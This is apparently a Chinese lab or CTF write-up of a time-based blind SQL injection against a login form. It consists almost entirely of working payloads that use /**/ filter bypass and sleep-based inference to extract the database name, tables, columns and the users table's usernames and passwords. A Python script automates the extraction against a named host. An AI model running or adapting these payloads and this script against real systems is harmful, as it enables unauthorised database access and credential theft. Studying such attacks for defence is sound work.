记一次SQL延时注入-Timespace

1'/**/order/**/by/**/4 #  //截断成功的回显1'/**/order/**/by/**/3 #  //正常报错

1'/**/union/**/select/**/version(),user(),database() #

1'/**/and/**/sleep(3) #  //语句没有被单引号截断，显示报错，说明代入了SQL语句进行查询。显示报错但没有执行sleep(3) 说明语句不对，尝试改为or进行判断。1'/**/or/**/sleep(3) #  //发现执行了sleep(3)，所以可以使用or进行时间盲注

a.判断库名长度1' or/**/if(( length( (select/**/database()) )=§8§ ),sleep(3),1)#   //根据发包的语句回显添加/**/，使用burp爆破得知 length(database())=8b.爆破数据库名1' or/**/if(( substr(( (select/**/database()) ),§1§,1)='§a§' ),sleep(3),1) #  //根据发包的语句回显添加/**/，爆破结束得知数据库名为"hazel12."c.查表长度1' or/**/ if((length((select/**/ group_concat(table_name)/**/ from/**/ information_schema.tables/**/ where/**/ table_schema='hazel123'))=§1§),sleep(3),1)#  //可知length(table_name)=5d.爆破表名1' or/**/ if((  substr((    select/**/ group_concat(table_name)/**/ from/**/ information_schema.tables/**/ where/**/ table_schema='hazel123'   ),§1§,1)='§a§'  ),sleep(3),1)#  //结果表名为userse.查字段长度1' or/**/ if((length((select/**/ group_concat(column_name)/**/ from/**/ information_schema.columns/**/ where/**/ table_name='users'))=§1§),sleep(3),1)#  //爆破得知表中的所有字段长度为63f.查字段名1' or/**/ if((  substr((    select/**/ group_concat(column_name)/**/ from/**/ information_schema.columns/**/ where/**/ table_name='users'   ),§1§,1)='§a§'  ),sleep(3),1)#   //user,current_connections,totah_codnections,id,username,passwordg.根据需要的字段得出结果1' or /**/if((  length(  (select /**/group_concat(id,username,password) /**/from /**/users )  )=§1§ ),sleep(3),1) #   //查出值长度1' or /**/if((  substr((  (select/**/ group_concat(id,username,password) /**/from /**/users )  ),§1§,1)='§a§'  ),sleep(3),1) # //根据值长度爆破出值内容

#!/usr/bin/python3# -*- coding=utf8 -*-

import requests

# 定义超时def timeout(url,param):    try:        r = requests.post(url,data=param, timeout = 4)        return "pass"    except:        return "timeout"



# 定义函数def db_len(url):    for i in range(300):        # 需要改动的地方        param = {        # "username":"1' or if((length((  select database()  ))={}),sleep(5),1) #".format(i),        # "username":"1' and if((length((  select group_concat(schema_name) from information_schema.schemata  ))={}),sleep(5),1) #".format(i),        # "username":"1' or if((length((  select group_concat(table_name) from information_schema.tables where table_schema=database()  ))={}),sleep(5),1) #".format(i),        # "username":"1' or if((length((  select group_concat(column_name) from information_schema.columns where table_name='users'  ))={}),sleep(5),1) #".format(i),         "username":"1' or if((length((  select group_concat(id,username,password) from users  ))={}),sleep(5),1) #".format(i),        "password":"123"        }        param['username'] = param['username'].replace(' ','/**/')        # print (param['username'])        text = timeout(url,param)        # 替换关键字        if "timeout" in text:            # print "db_len is {}".format(i)            print ("db_len is {}".format(i))            db_len = i            return db_len# 定义函数def db_data(url):    key = ""    db_l = db_len(url)    for i in range(1,db_l + 1):        for j in dic:            # 需要改动的地方            param = {            # "username":"1' or if((substr(((  select database()   )),{},1)='{}'),sleep(5),1) #".format(i,j),            # "username":"1' and if((substr(((  select group_concat(schema_name) from information_schema.schemata   )),{},1)='{}'),sleep(5),1) #".format(i,j),            # "username":"1' or if((substr(((  select group_concat(table_name) from information_schema.tables where table_schema=database()   )),{},1)='{}'),sleep(5),1) #".format(i,j),            # "username":"1' or if((substr(((  select group_concat(column_name) from information_schema.columns where table_name='users'   )),{},1)='{}'),sleep(5),1) #".format(i,j),             "username":"1' or if((substr(((  select group_concat(id,username,password) from users   )),{},1)='{}'),sleep(5),1) #".format(i,j),            "password":"123"            }            param['username'] = param['username'].replace(' ','/**/')            text = timeout(url,param)            # 关键字，替换关键字            if "timeout" in text:                key += j                break        print (key)        # print key

if __name__ == '__main__':    # 替换请求地址    url = "http://hazelshishuaige.club:8114/index.php"    dic = "abcdefghijklmnopqrstuvwxyz_,.!@#1234567890"    db_data(url)